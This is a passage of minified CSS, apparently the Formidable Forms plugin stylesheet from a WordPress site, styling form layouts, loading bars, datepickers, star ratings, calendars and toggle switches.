h3{font-weight:500;padding-bottom:15px;color:#fff;font-size:24px;}#frm_loading_content{position:fixed;top:20%;left:33%;width:33%;text-align:center;padding-top:30px;font-weight:bold;z-index:9999999;}#frm_loading img{max-width:100%;}#frm_loading .progress{border-radius:4px;box-shadow:0 1px 2px rgba(0, 0, 0, 0.1) inset;height:20px;margin-bottom:20px;overflow:hidden;}#frm_loading .progress.active .progress-bar{animation:2s linear 0s normal none infinite progress-bar-stripes;}#frm_loading .progress-striped .progress-bar {background-image: linear-gradient(45deg, var(--border-color) 25%, rgba(0, 0, 0, 0) 25%, rgba(0, 0, 0, 0) 50%, var(--border-color) 50%, var(--border-color) 75%, rgba(0, 0, 0, 0) 75%, rgba(0, 0, 0, 0));background-size:40px 40px;}#frm_loading .progress-bar {background-color: var(--bg-color);box-shadow: 0 -1px 0 rgba(0, 0, 0, 0.15) inset;float: left;height: 100%;line-height: 20px;text-align: center;transition: width 0.6s ease 0s;width: 100%;}.frm_image_from_url{height:50px;}.frm-loading-img{background:url(https://www.mma-pllc.com/wp-content/plugins/formidable/images/ajax_loader.gif) no-repeat center center;padding:6px 12px;}select.frm_loading_lookup{background-image: url(https://www.mma-pllc.com/wp-content/plugins/formidable/images/ajax_loader.gif) !important;background-position: 10px;background-repeat: no-repeat;color: transparent !important;}.frm_screen_reader {border: 0;clip-path: inset(50%);height: 1px;margin: -1px;overflow: hidden;padding: 0;position: absolute;width: 1px;word-wrap: normal !important; }.frm_screen_reader.frm_hidden {display: initial;}.frm_clear_none {clear: none;}.frm_clear {clear: both;}.frm_form_field.frm_alignright {float: right !important;}.with_frm_style .frm_form_field {clear: both;}.frm_combo_inputs_container,.frm_grid_container,.frm_form_fields .frm_section_heading,.frm_form_fields .frm_fields_container {display: grid;grid-template-columns: repeat(12, 1fr);grid-auto-rows: max-content;grid-gap: 0 2%;}.frm_combo_inputs_container > *,.frm_grid_container > *,.frm_section_heading > *,.frm_fields_container .frm_form_field,.frm_fields_container > * {grid-column: span 12 / span 12;}.frm_inline,.frm_form_field.frm_left_inline,.frm_form_field.frm_first_inline,.frm_form_field.frm_inline,.frm_submit.frm_inline,.frm_form_field.frm_right_inline,.frm_form_field.frm_last_inline {width: auto;grid-column: span 2 / span 2;}.frm6,.frm_half,.frm_form_field.frm_three_fifths, .frm_form_field.frm6,.frm_submit.frm6,.frm_form_field.frm_left_half,.frm_form_field.frm_right_half,.frm_form_field.frm_first_half,.frm_form_field.frm_last_half,.frm_form_field.frm_half,.frm_submit.frm_half {grid-column: span 6 / span 6;}.frm4,.frm_third,.frm_form_field.frm_two_fifths, .frm_form_field.frm4,.frm_submit.frm4,.frm_form_field.frm_left_third,.frm_form_field.frm_third,.frm_submit.frm_third,.frm_form_field.frm_right_third,.frm_form_field.frm_first_third,.frm_form_field.frm_last_third {grid-column: span 4 / span 4;}.frm8,.frm_two_thirds,.frm_form_field.frm8,.frm_submit.frm8,.frm_form_field.frm_left_two_thirds,.frm_form_field.frm_right_two_thirds,.frm_form_field.frm_first_two_thirds,.frm_form_field.frm_last_two_thirds,.frm_form_field.frm_two_thirds {grid-column: span 8/span 8;}.frm3,.frm_fourth,.frm_form_field.frm3,.frm_submit.frm3,.frm_form_field.frm_left_fourth,.frm_form_field.frm_fourth,.frm_submit.frm_fourth,.frm_form_field.frm_right_fourth,.frm_form_field.frm_first_fourth,.frm_form_field.frm_last_fourth {grid-column: span 3/span 3;}.frm9,.frm_three_fourths,.frm_form_field.frm_four_fifths, .frm_form_field.frm9,.frm_submit.frm9,.frm_form_field.frm_three_fourths {grid-column: span 9/span 9;}.frm_form_field.frm_left_fifth,.frm_form_field.frm_fifth,.frm_submit.frm_fifth,.frm_form_field.frm_right_fifth,.frm_form_field.frm_first_fifth,.frm_form_field.frm_last_fifth {grid-column: span 2/span 2;}.frm2,.frm_sixth,.frm_form_field.frm2,.frm_submit.frm2,.frm_form_field.frm_sixth,.frm_submit.frm_sixth,.frm_form_field.frm_first_sixth,.frm_form_field.frm_last_sixth {grid-column: span 2/span 2;}.frm10,.frm_form_field.frm10,.frm_submit.frm10 {grid-column: span 10/span 10;}.frm1,.frm_form_field.frm1,.frm_submit.frm1,.frm_form_field.frm_seventh,.frm_submit.frm_seventh,.frm_form_field.frm_first_seventh,.frm_form_field.frm_last_seventh.frm_form_field.frm_eighth,.frm_submit.frm_eighth,.frm_form_field.frm_first_eighth,.frm_form_field.frm_last_eighth {grid-column: span 1/span 1;}.frm5,.frm_form_field.frm5,.frm_submit.frm5 {grid-column: span 5/span 5;}.frm7,.frm_form_field.frm7,.frm_submit.frm7 {grid-column: span 7/span 7;}.frm11,.frm_form_field.frm11,.frm_submit.frm11 {grid-column: span 11/span 11;}.frm12,.frm_full,.frm_full .wp-editor-wrap,.frm_full > input:not([type="checkbox"]):not([type="radio"]):not([type="button"]),.frm_full select,.frm_full textarea {width: 100% !important;grid-column: span 12/span 12;box-sizing: border-box;}.frm_full .wp-editor-wrap input {width: auto !important;}.frm_first,.frm_form_field.frm_left_half,.frm_form_field.frm_left_third,.frm_form_field.frm_left_two_thirds,.frm_form_field.frm_left_fourth,.frm_form_field.frm_left_fifth,.frm_form_field.frm_left_inline,.frm_form_field.frm_first_half,.frm_form_field.frm_first_third,.frm_form_field.frm_first_two_thirds,.frm_form_field.frm_first_fourth,.frm_form_field.frm_first_fifth,.frm_form_field.frm_first_sixth,.frm_form_field.frm_first_seventh,.frm_form_field.frm_first_eighth,.frm_form_field.frm_first_inline,.frm_form_field.frm_first {grid-column-start: 1;}.frm_last,.frm_form_field.frm_last,.frm_form_field.frm_alignright {grid-column-end: -1;justify-content: end;}.with_frm_style.frm_rtl .frm_form_fields .star-rating {float: right;}.with_frm_style.frm_rtl .frm_grid .frm_primary_label,.with_frm_style.frm_rtl .frm_grid_first .frm_primary_label,.with_frm_style.frm_rtl .frm_grid_odd .frm_primary_label,.with_frm_style.frm_rtl .frm_grid .frm_radio,.with_frm_style.frm_rtl .frm_grid_first .frm_radio,.with_frm_style.frm_rtl .frm_grid_odd .frm_radio,.with_frm_style.frm_rtl .frm_grid .frm_checkbox,.with_frm_style.frm_rtl .frm_grid_first .frm_checkbox,.with_frm_style.frm_rtl .frm_grid_odd .frm_checkbox {float: right !important;margin-right: 0 !important;}.with_frm_style.frm_rtl .frm_grid_first .frm_radio label input,.with_frm_style.frm_rtl .frm_grid .frm_radio label input,.with_frm_style.frm_rtl .frm_grid_odd .frm_radio label input,.with_frm_style.frm_rtl .frm_grid_first .frm_checkbox label input,.with_frm_style.frm_rtl .frm_grid .frm_checkbox label input,.with_frm_style.frm_rtl .frm_grid_odd .frm_checkbox label input {float: left;}.with_frm_style.frm_rtl .frm_catlevel_2,.with_frm_style.frm_rtl .frm_catlevel_3,.with_frm_style.frm_rtl .frm_catlevel_4,.with_frm_style.frm_rtl .frm_catlevel_5 {margin-right: 18px;}.with_frm_style.frm_rtl div > .frm_time_select {margin-right: 5px;}.frm_form_field.frm_inline_container,.frm_form_field.frm_right_container,.frm_form_field.frm_left_container {display: grid;grid-template-columns: 25% auto;width: 100%;grid-auto-rows: min-content;}.frm_form_field.frm_right_container {grid-template-columns: auto 25%;}.frm_form_field.frm_inline_container {grid-template-columns: repeat(2, minmax(auto, max-content));}.frm_form_field.frm_inline_container .frm_primary_label,.frm_form_field.frm_right_container .frm_primary_label,.frm_form_field.frm_left_container .frm_primary_label {margin-right: 10px;grid-row: span 2/span 2;padding-top: 4px;}.frm_form_field.frm_left_container .frm_primary_label {grid-column: 1;grid-row: span 2/span 2; }.frm_form_field.frm_right_container .frm_primary_label {grid-column: 2;grid-row: 1;margin-right: 0;margin-left: 10px;}.frm_form_field.frm_inline_container .frm_description,.frm_form_field.frm_left_container .frm_description {grid-column: 2;}.frm_form_field.frm_right_container .frm_description {grid-column: 1;}.frm_conf_field.frm_left_container {grid-template-columns: 67%;}.frm_conf_field.frm_left_container .frm_description {grid-column: 1;}.frm-fade-in {animation-name: fadeIn;animation-duration: 1s;animation-fill-mode: both;}@keyframes spin {0% {transform: rotate(0deg);}100% {transform: rotate(360deg);}}@keyframes fadeIn {0% {opacity: 0;}100% {opacity: 1;}}@media only screen and (max-width: 750px) {.frm_grid_container.frm_no_grid_750 > div {grid-column: span 12/span 12;}}@media only screen and (max-width: 600px) {.frm_section_heading > .frm_form_field,.frm_fields_container > .frm_submit,.frm_grid_container > .frm_form_field,.frm_fields_container > .frm_form_field {grid-column: 1 / span 12 !important;}.frm_grid_container.frm_no_grid_600,.frm_form_field.frm_inline_container,.frm_form_field.frm_right_container,.frm_form_field.frm_left_container {display: block;}}.frm_conf_field.frm_left_container .frm_primary_label{display:none;}.wp-editor-wrap *,.wp-editor-wrap *:after,.wp-editor-wrap *:before{box-sizing:content-box;}.with_frm_style .frm_grid,.with_frm_style .frm_grid_first,.with_frm_style .frm_grid_odd{clear:both;margin-bottom:0 !important;padding:5px;border-width:1px;border-style:solid;border-color: var(--border-color);border-left:none;border-right:none;}.with_frm_style .frm_grid,.with_frm_style .frm_grid_odd{border-top:none;}.frm_grid .frm_error,.frm_grid_first .frm_error,.frm_grid_odd .frm_error,.frm_grid .frm_limit_error,.frm_grid_first .frm_limit_error,.frm_grid_odd .frm_limit_error{display:none;}.frm_grid:after,.frm_grid_first:after,.frm_grid_odd:after{visibility:hidden;display:block;font-size:0;content:" ";clear:both;height:0;}.frm_grid_first{margin-top:20px;}.frm_grid_first,.frm_grid_odd {background-color: var(--bg-color);}.frm_grid {background-color: var(--bg-color-active);}.with_frm_style .frm_grid.frm_blank_field,.with_frm_style .frm_grid_first.frm_blank_field,.with_frm_style .frm_grid_odd.frm_blank_field{background-color:var(--error-bg);border-color: var(--error-border);}.frm_grid .frm_primary_label,.frm_grid_first .frm_primary_label,.frm_grid_odd .frm_primary_label,.frm_grid .frm_radio,.frm_grid_first .frm_radio,.frm_grid_odd .frm_radio,.frm_grid .frm_checkbox,.frm_grid_first .frm_checkbox,.frm_grid_odd .frm_checkbox{float:left !important;display:block;margin-top:0;margin-left:0 !important;}.frm_grid_first .frm_radio label,.frm_grid .frm_radio label,.frm_grid_odd .frm_radio label,.frm_grid_first .frm_checkbox label,.frm_grid .frm_checkbox label,.frm_grid_odd .frm_checkbox label{color:transparent;text-indent: -9999px;white-space:nowrap;text-align:left;}.frm_grid_first .frm_radio label input,.frm_grid .frm_radio label input,.frm_grid_odd .frm_radio label input,.frm_grid_first .frm_checkbox label input,.frm_grid .frm_checkbox label input,.frm_grid_odd .frm_checkbox label input{visibility:visible;margin:2px 0 0;float:right;}.frm_grid .frm_radio,.frm_grid_first .frm_radio,.frm_grid_odd .frm_radio,.frm_grid .frm_checkbox,.frm_grid_first .frm_checkbox,.frm_grid_odd .frm_checkbox{display:inline;}.frm_grid_2 .frm_radio,.frm_grid_2 .frm_checkbox,.frm_grid_2 .frm_primary_label{width:48% !important;}.frm_grid_2 .frm_radio,.frm_grid_2 .frm_checkbox{margin-right:4%;}.frm_grid_3 .frm_radio,.frm_grid_3 .frm_checkbox,.frm_grid_3 .frm_primary_label{width:30% !important;}.frm_grid_3 .frm_radio,.frm_grid_3 .frm_checkbox{margin-right:3%;}.frm_grid_4 .frm_radio,.frm_grid_4 .frm_checkbox{width:20% !important;}.frm_grid_4 .frm_primary_label{width:28% !important;}.frm_grid_4 .frm_radio,.frm_grid_4 .frm_checkbox{margin-right:4%;}.frm_grid_5 .frm_primary_label,.frm_grid_7 .frm_primary_label{width:24% !important;}.frm_grid_5 .frm_radio,.frm_grid_5 .frm_checkbox{width:17% !important;margin-right:2%;}.frm_grid_6 .frm_primary_label{width:25% !important;}.frm_grid_6 .frm_radio,.frm_grid_6 .frm_checkbox{width:14% !important;margin-right:1%;}.frm_grid_7 .frm_primary_label{width:22% !important;}.frm_grid_7 .frm_radio,.frm_grid_7 .frm_checkbox{width:12% !important;margin-right:1%;}.frm_grid_8 .frm_primary_label{width:23% !important;}.frm_grid_8 .frm_radio,.frm_grid_8 .frm_checkbox{width:10% !important;margin-right:1%;}.frm_grid_9 .frm_primary_label{width:20% !important;}.frm_grid_9 .frm_radio,.frm_grid_9 .frm_checkbox{width:9% !important;margin-right:1%;}.frm_grid_10 .frm_primary_label{width:19% !important;}.frm_grid_10 .frm_radio,.frm_grid_10 .frm_checkbox{width:8% !important;margin-right:1%;}.frm_form_field.frm_inline_container .frm_opt_container,.frm_form_field.frm_right_container .frm_opt_container,.frm_form_field.frm_left_container .frm_opt_container{padding-top:4px;}.with_frm_style .frm_left_container > select.auto_width,.with_frm_style .frm_right_container > select.auto_width {width: max-content;}.with_frm_style .frm_right_container > .frm_primary_label,.with_frm_style .frm_right_container > select.auto_width {margin-left: auto;}.with_frm_style .frm_inline_container.frm_grid_first .frm_primary_label,.with_frm_style .frm_inline_container.frm_grid .frm_primary_label,.with_frm_style .frm_inline_container.frm_grid_odd .frm_primary_label,.with_frm_style .frm_inline_container.frm_grid_first .frm_opt_container,.with_frm_style .frm_inline_container.frm_grid .frm_opt_container,.with_frm_style .frm_inline_container.frm_grid_odd .frm_opt_container{margin-right:0;}.frm_form_field.frm_two_col .frm_opt_container,.frm_form_field.frm_three_col .frm_opt_container,.frm_form_field.frm_four_col .frm_opt_container{display: grid;grid-template-columns: repeat(2, 1fr);grid-auto-rows: max-content;grid-gap: 0 2.5%;}.frm_form_field.frm_three_col .frm_opt_container{grid-template-columns: repeat(3, 1fr);}.frm_form_field.frm_four_col .frm_opt_container{grid-template-columns: repeat(4, 1fr);}.frm_form_field.frm_two_col .frm_radio,.frm_form_field.frm_two_col .frm_checkbox,.frm_form_field.frm_three_col .frm_radio,.frm_form_field.frm_three_col .frm_checkbox,.frm_form_field.frm_four_col .frm_radio,.frm_form_field.frm_four_col .frm_checkbox{grid-column-end: span 1;}.frm_form_field .frm_checkbox,.frm_form_field .frm_radio {margin-top: 0;margin-bottom: 0;}.frm_form_field.frm_scroll_box .frm_opt_container{height:100px;overflow:auto;}.frm_html_container.frm_scroll_box,.frm_form_field.frm_html_scroll_box {height: 100px;overflow: auto;background-color: var(--bg-color);border-color: var(--border-color);border-width: var(--field-border-width);border-style: var(--field-border-style);border-radius: var(--border-radius);width: var(--field-width);max-width: 100%;font-size: var(--field-font-size);padding: var(--field-pad);box-sizing: border-box;outline: none;font-weight: normal;box-shadow: var(--box-shadow);}.frm_form_field.frm_total_big input,.frm_form_field.frm_total_big textarea,.frm_form_field.frm_total input,.frm_form_field.frm_total textarea{opacity:1;background-color:transparent !important;border:none !important;font-weight:bold;width:auto !important;height:auto !important;box-shadow:none !important;display:inline;-moz-appearance:textfield;padding:0;}.frm_form_field.frm_total_big input::-webkit-outer-spin-button,.frm_form_field.frm_total_big input::-webkit-inner-spin-button,.frm_form_field.frm_total input::-webkit-outer-spin-button,.frm_form_field.frm_total input::-webkit-inner-spin-button {-webkit-appearance: none;}.frm_form_field.frm_total_big input:focus,.frm_form_field.frm_total_big textarea:focus,.frm_form_field.frm_total input:focus,.frm_form_field.frm_total textarea:focus{background-color:transparent;border:none;box-shadow:none;}.frm_form_field.frm_label_justify .frm_primary_label{text-align:justify !important;}.frm_form_field.frm_capitalize input,.frm_form_field.frm_capitalize select,.frm_form_field.frm_capitalize .frm_opt_container label{text-transform:capitalize;}.frm_clearfix:after{content:".";display:block;clear:both;visibility:hidden;line-height:0;height:0;}.frm_clearfix{display:block;}.with_frm_style .frm_combo_inputs_container > .frm_form_subfield-first,.with_frm_style .frm_combo_inputs_container > .frm_form_subfield-middle,.with_frm_style .frm_combo_inputs_container > .frm_form_subfield-last {margin-bottom: 0 !important;}.with_frm_style, .frm_forms {--progress-border-color-b: #dbdbdb;--image-size:150px;}.js .frm_logic_form:not(.frm_no_hide) {display:none;}.with_frm_style .frm_conf_field.frm_half label.frm_conf_label {overflow: hidden;white-space: nowrap;}.with_frm_style .frm_time_wrap{white-space:nowrap;}.with_frm_style select.frm_time_select{white-space:pre;display:inline;}.with_frm_style .frm-show-form .frm_section_heading h3{padding:15px 0 3px 0;margin:0;font-size:18px;font-size:var(--section-font-size);font-family:"Lucida Grande","Lucida Sans Unicode",Tahoma,sans-serif;font-family:var(--font);font-weight:bold;font-weight:var(--section-weight);color:#444444;color:var(--section-color);border:none;background-color:transparent;background-color:var(--section-bg-color);}.frm_trigger .frmsvg {width: 20px;height: 20px;}.frm_trigger > svg.frmsvg:nth-child(1) {display:inline-block;}.frm_trigger > svg.frmsvg:nth-child(2) {display:none;}.frm_trigger.active > svg.frmsvg:nth-child(2) {display:inline-block;}.frm_trigger.active > svg.frmsvg:nth-child(1) {display:none;}.with_frm_style .frm_repeat_sec{margin-bottom:20px;margin-bottom:var(--field-margin);margin-top:20px;margin-top:var(--field-margin);padding-bottom:15px;border-bottom:2px solid #e8e8e8;border-bottom-width:var(--section-border-width);border-bottom-style:var(--section-border-style);border-color:var(--section-border-color);}.with_frm_style .frm_repeat_sec:last-child{border-bottom:none;padding-bottom:0;}.with_frm_style .frm_repeat_inline{clear:both;}.frm_invisible_section .frm_form_field,.frm_invisible_section{display:none !important;visibility:hidden !important;height:0;margin:0;}.frm_form_field .frm_repeat_sec .frm_add_form_row,.frm_section_heading div.frm_repeat_sec:last-child .frm_add_form_row.frm_hide_add_button,.frm_form_field div.frm_repeat_grid .frm_add_form_row.frm_hide_add_button,.frm_form_field div.frm_repeat_inline .frm_add_form_row.frm_hide_add_button {-moz-transition: opacity .15s ease-in-out;-webkit-transition: opacity .15s ease-in-out;transition: opacity .15s ease-in-out;pointer-events: none;}.frm_form_field .frm_repeat_sec .frm_add_form_row,.frm_section_heading div.frm_repeat_sec:last-child .frm_add_form_row.frm_hide_add_button {display: none;}.frm_form_field div.frm_repeat_grid .frm_add_form_row.frm_hide_add_button,.frm_form_field div.frm_repeat_inline .frm_add_form_row.frm_hide_add_button {visibility: hidden;}.frm_form_field div.frm_repeat_grid .frm_add_form_row,.frm_form_field div.frm_repeat_inline .frm_add_form_row,.frm_section_heading div.frm_repeat_sec:last-child .frm_add_form_row {display: inline-block;visibility: visible;pointer-events: auto;}.frm_add_form_row.frm_button.frm_hidden:last-child, .frm_add_form_row.frm_icon_font.frm_hidden:last-child {display: inline-block;}.frm_form_fields .frm_section_heading.frm_hidden {display: none;}.frm_repeat_buttons a.frm_remove_form_row,.frm_repeat_buttons a.frm_add_form_row {line-height: 1.8;}.frm_form_field.frm_repeat_buttons .frm_remove_form_row:not(.frm_button) svg.frm-svg-icon,.frm_form_field.frm_repeat_buttons .frm_add_form_row:not(.frm_button) svg.frm-svg-icon {fill: #ffffff;fill: var(--submit-text-color) ;}.frm_repeat_inline .frm_repeat_buttons a.frm_icon_font{vertical-align: sub;}.frm_repeat_inline .frm_repeat_buttons a.frm_icon_font:before{vertical-align: text-top;}.frm_repeat_buttons .frmsvg {width: 20px;height: 20px;}.frm_repeat_grid .frm_button,.frm_repeat_inline .frm_button,.frm_repeat_sec .frm_button{display: inline-block;line-height:1;}.with_frm_style .frm_button .frm_icon_font:before{font-size:15px;font-size:var(--submit-font-size);}.frm_repeat_sec .frm_button .frm_icon_font:before,.frm_repeat_grid .frm_button .frm_icon_font:before,.frm_repeat_inline .frm_button .frm_icon_font:before{line-height:1;}.frm_form_field .frm_repeat_grid ~ .frm_repeat_grid .frm_form_field .frm_primary_label{display:none !important;}.with_frm_style .frm_input_group {position: relative;display: -ms-flexbox;display: flex;-ms-flex-wrap: wrap;flex-wrap: wrap;-ms-flex-align: stretch;align-items: stretch;width: 100%;}.with_frm_style .frm_input_group.frm_hidden {display: none;}.with_frm_style .frm_inline_box {display: -ms-flexbox;display: flex;text-align: center;align-items: center;font-size: 90%;padding: 0 10px;color:#3f4b5b;color:var(--progress-color);border:1px solid #BFC3C8;border-color:var(--border-color);border-width:var(--field-border-width);border-style:var(--field-border-style);background-color: #eaeaea;background-color:var(--progress-bg-color);-moz-border-radius:4px;-webkit-border-radius:4px;border-radius:4px;border-radius:var(--border-radius);width: auto;}.with_frm_style .frm_input_group .frm_inline_box:first-child {margin-right: -1px;border-top-right-radius: 0 !important;border-bottom-right-radius: 0 !important;}.with_frm_style .frm_input_group .chosen-container + .frm_inline_box,.with_frm_style .frm_input_group select + .frm_inline_box,.with_frm_style .frm_input_group input + .frm_inline_box {margin-left: -1px;border-top-left-radius: 0 !important;border-bottom-left-radius: 0 !important;}.with_frm_style .frm_input_group .chosen-container,.with_frm_style .frm_input_group > select,.with_frm_style .frm_input_group > input {position: relative;-ms-flex: 1 1 auto;flex: 1 1 auto;width: 1% !important;min-width: 0;margin-bottom: 0;display: block;}.with_frm_style .frm_input_group.frm_with_pre .chosen-container-multi .chosen-choices,.with_frm_style .frm_input_group.frm_with_pre .chosen-single,.with_frm_style .frm_input_group.frm_with_pre > select,.with_frm_style .frm_input_group.frm_with_pre > input {border-top-left-radius: 0 !important;border-bottom-left-radius: 0 !important;}.with_frm_style .frm_input_group.frm_with_post .chosen-container-multi .chosen-choices,.with_frm_style .frm_input_group.frm_with_post .chosen-single,.with_frm_style .frm_input_group.frm_with_post > select,.with_frm_style .frm_input_group.frm_with_post > input {border-top-right-radius: 0 !important;border-bottom-right-radius: 0 !important;}.with_frm_style .frm_total input,.with_frm_style .frm_total_big input {background-color:transparent;border:none;width:auto;box-shadow: none !important;}.with_frm_style .frm_total .frm_inline_box,.with_frm_style .frm_total_big .frm_inline_box {background-color:transparent !important;border-width: 0 !important;box-shadow:none !important;color:var(--text-color);padding:0 3px 0 1px !important;}.with_frm_style .frm_inline_total {padding:0 3px;}#ui-datepicker-div {display:none;z-index:999999 !important;}.frm-datepicker .ui-datepicker-title select.ui-datepicker-month,.frm-datepicker .ui-datepicker-title select.ui-datepicker-year {width: 33% ;background-color:#fff;padding: 5px 10px;background-position-y: center;background-position-x: right 5px;line-height: 15px;}.frm-datepicker select.ui-datepicker-month{margin-right: 3px;}.frm-datepicker .ui-datepicker-month, .frm-datepicker .ui-datepicker-year {max-width:100%;max-height:2em;padding:6px 10px;-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box;display: inline;color: #555555;}.frm-datepicker span.ui-datepicker-month, .frm-datepicker span.ui-datepicker-year {color: #ffffff;line-height: 25px;font-weight: 600;}.frm-datepicker .ui-datepicker-calendar {margin: 0 !important;}.frm-datepicker .ui-widget-header,.frm-datepicker .ui-datepicker-header {background: #579AF6 !important;color: #ffffff !important;}.frm-datepicker td.ui-datepicker-today{background: rgba(37,104,196,0.15) !important;}.frm-datepicker td.ui-datepicker-current-day,.frm-datepicker td .ui-state-hover,.frm-datepicker thead {background: #2568c4 !important;color: #ffffff !important;}.frm-datepicker td.ui-datepicker-current-day .ui-state-default{color: #ffffff !important;}.frm-datepicker .ui-datepicker-prev:before{background-image: url( data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIyNTAiIGhlaWdodD0iMjUwIiBmaWxsPSIjZmZmIj48cGF0aCBkPSJNMTUuNSAxMS40TDEwLjggN2ExLjEgMS4xIDAgMCAwLTEuNiAwbC00LjcgNC41Yy0uNC41LS40IDEuMiAwIDEuNy41LjQgMSAuNCAxLjYgMEwxMCA5LjNsNCAzLjhjLjQuNCAxIC40IDEuNSAwIC40LS41LjQtMS4yIDAtMS43eiIvPjwvc3ZnPg== );content: '' !important;}.frm-datepicker .ui-datepicker-prev:before, .frm-datepicker .ui-datepicker-next:before{position: absolute;top: 10px;left: 6px;}.frm-datepicker .ui-datepicker-next:before{background-image: url( data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIyNTAiIGhlaWdodD0iMjUwIiBmaWxsPSIjZmZmIj48cGF0aCBkPSJNMTUuNSAxMS40TDEwLjggN2ExLjEgMS4xIDAgMCAwLTEuNiAwbC00LjcgNC41Yy0uNC41LS40IDEuMiAwIDEuNy41LjQgMSAuNCAxLjYgMEwxMCA5LjNsNCAzLjhjLjQuNCAxIC40IDEuNSAwIC40LS41LjQtMS4yIDAtMS43eiIvPjwvc3ZnPg== );content: '' !important;}.frm-datepicker .ui-datepicker-prev{transform: rotate(-90deg) !important;}.frm-datepicker .ui-datepicker-next{transform: rotate(90deg) !important;}.google-visualization-tooltip-item-list,.google-visualization-tooltip-item-list .google-visualization-tooltip-item:first-child {margin: 1em 0 !important;}.google-visualization-tooltip-item {list-style-type: none !important;margin: 0.65em 0 !important;}.with_frm_style .frm_scale{margin-right:15px;text-align:center;float:left;}.with_frm_style .frm_scale input[type=radio]{display:block !important;margin:0;}.with_frm_style .frm_scale input[type=radio]:checked:before {transform: scale(1);}.frm-star-group input {opacity: 0;position: absolute !important;z-index: -1;}.frm-star-group .frmsvg,.frm-star-group input + label.star-rating {float:none;width:25px;height:25px;font-size:25px;line-height:1;cursor:pointer;background:transparent;overflow:hidden !important;clear:none;font-style:normal;display: inline-block;vertical-align: top;}.frm-star-group .frmsvg {fill: #F0AD4E;}.frm-star-group input + label.star-rating:before {content: '';}.frm-star-group input[type=radio]:checked + label:before,.frm-star-group:not(.frm-star-hovered) input[type=radio]:checked + label:before{color:#F0AD4E;}.frm-star-group:not(.frm-star-hovered) input[type=radio]:checked + label,.frm-star-group input + label:hover,.frm-star-group:hover input + label:hover ,.frm-star-group .star-rating-on,.frm-star-group .star-rating-hover {color:#F0AD4E;}.frm-star-group .star-rating-readonly{cursor:default !important;}.frm-star-group > svg + svg {margin-left: 5px;}.frm-star-group .star-rating .frmsvg:last-of-type,.frm-star-group .star-rating-on .frmsvg:first-of-type,.frm-star-group .star-rating-hover .frmsvg:first-of-type {display: none;}.frm-star-group .star-rating-on .frmsvg:last-of-type,.frm-star-group .star-rating-hover .frmsvg:last-of-type {display: inline;}.with_frm_style .frm_other_input.frm_other_full{margin-top:10px;}.frm_left_container .frm_other_input{grid-column:2;}.frm_inline_container.frm_other_container .frm_other_input,.frm_left_container.frm_other_container .frm_other_input{margin-left:5px;}.frm_right_container.frm_other_container .frm_other_input{margin-right:5px;}.frm_inline_container.frm_other_container select ~ .frm_other_input,.frm_right_container.frm_other_container select ~ .frm_other_input,.frm_left_container.frm_other_container select ~ .frm_other_input{margin:0;}.with_frm_style input[type=file]::-webkit-file-upload-button{color:#555555;color:var(--text-color);background-color:#ffffff;background-color:var(--bg_color);padding:6px 10px;padding:var(--field-pad);border-radius:4px;border-radius:var(--border-radius);border-color: #BFC3C8;border-color:var(--border-color);border-width:1px;border-width:var(--field-border-width);border-style:solid;border-style:var(--field-border-style);}.frm_pagination_cont ul.frm_pagination{display:inline-block;list-style:none;margin-left:0 !important;}.frm_pagination_cont ul.frm_pagination > li{display:inline;list-style:none;margin:2px;background-image:none;}ul.frm_pagination > li.active a{text-decoration:none;}.frm_pagination_cont ul.frm_pagination > li:first-child{margin-left:0;}.archive-pagination.frm_pagination_cont ul.frm_pagination > li{margin:0;}.frmcal{padding-top:30px;}.frmcal-title{font-size:116%;}.frmcal table.frmcal-calendar{border-collapse:collapse;margin-top:20px;color:#555555;}.frmcal table.frmcal-calendar,.frmcal table.frmcal-calendar tbody tr td{border:1px solid #BFC3C8;}.frmcal table.frmcal-calendar,.frmcal,.frmcal-header{width:100%;}.frmcal-header{text-align:center;}.frmcal-prev{margin-right:10px;}.frmcal-prev,.frmcal-dropdown{float:left;}.frmcal-dropdown{margin-left:5px;}.frmcal-next{float:right;}.frmcal table.frmcal-calendar thead tr th{text-align:center;padding:2px 4px;}.frmcal table.frmcal-calendar tbody tr td{height:110px;width:14.28%;vertical-align:top;padding:0 !important;color:#555555;font-size:12px;}table.frmcal-calendar .frmcal_date{background-color:#ffffff;padding:0 5px;text-align:right;-moz-box-shadow:0 2px 5px #BFC3C8;-webkit-box-shadow:0 2px 5px #BFC3C8;box-shadow:0 2px 5px #BFC3C8;}table.frmcal-calendar .frmcal-today .frmcal_date{background-color:#ffffff;padding:0 5px;text-align:right;-moz-box-shadow:0 2px 5px #66afe9;-webkit-box-shadow:0 2px 5px #66afe9;box-shadow:0 2px 5px #66afe9;}.frmcal_day_name,.frmcal_num{display:inline;}.frmcal-content{padding:2px 4px;}.frm_switch_opt {padding:0 8px 0 0;white-space:normal;display:inline;vertical-align: middle;font-size:15px;font-size:var(--toggle-font-size);font-weight:normal;font-weight:var(--check-weight);}.frm_on_label{padding:0 0 0 8px;}.frm_on_label,.frm_off_label{color:#444444;color:var(--check-label-color);}.frm_switch {position: relative;display: inline-block;width: 40px;height: 25px;vertical-align: middle;}.frm_switch_block input {display:none !important;}.frm_slider {position: absolute;cursor: pointer;top: 0;left: 0;right: 0;bottom: 0;background-color:#eaeaea;background-color:var(--toggle-off-color);transition: .4s;border-radius: 30px;}.frm_slider:before {border-radius: 50%;position: absolute;content: "";height: 23px;width: 23px;left: 1px;bottom: 1px;background-color: white;transition: .4s;box-shadow:0 2px 6px rgba(41, 58, 82, 0.31);}input:checked + .frm_switch .frm_slider {background-color:#579AF6;background-color:var(--toggle-on-color);}input:focus + .frm_switch .frm_slider {box-shadow: 0 0 1px #3177c7;}input:checked + .frm_switch .frm_slider:before {transform: translateX(15px);}.frm_rtl .frm_switch_opt {padding: 0 8px;}.frm_rtl .frm_slider:before {left: 16px;}.frm_rtl input:checked + .frm_switch .frm_slider:before {transform: none!important;left: 1px;}.with_frm_style .frm_range_unit,.with_frm_style .frm_range_value{display:inline-block;padding-left: 2px;padding-right: 2px;}.with_frm_style .frm_range_value + .frm_range_unit,.with_frm_style .frm_range_container > .frm_range_unit,.with_frm_style .frm_range_value{font-size:24px;font-size:var(--slider-font-size);color:#555555;color:var(--text-color);}.with_frm_style .frm_range_container {padding-top: 5px;}.with_frm_style input[type=range] {-webkit-appearance: 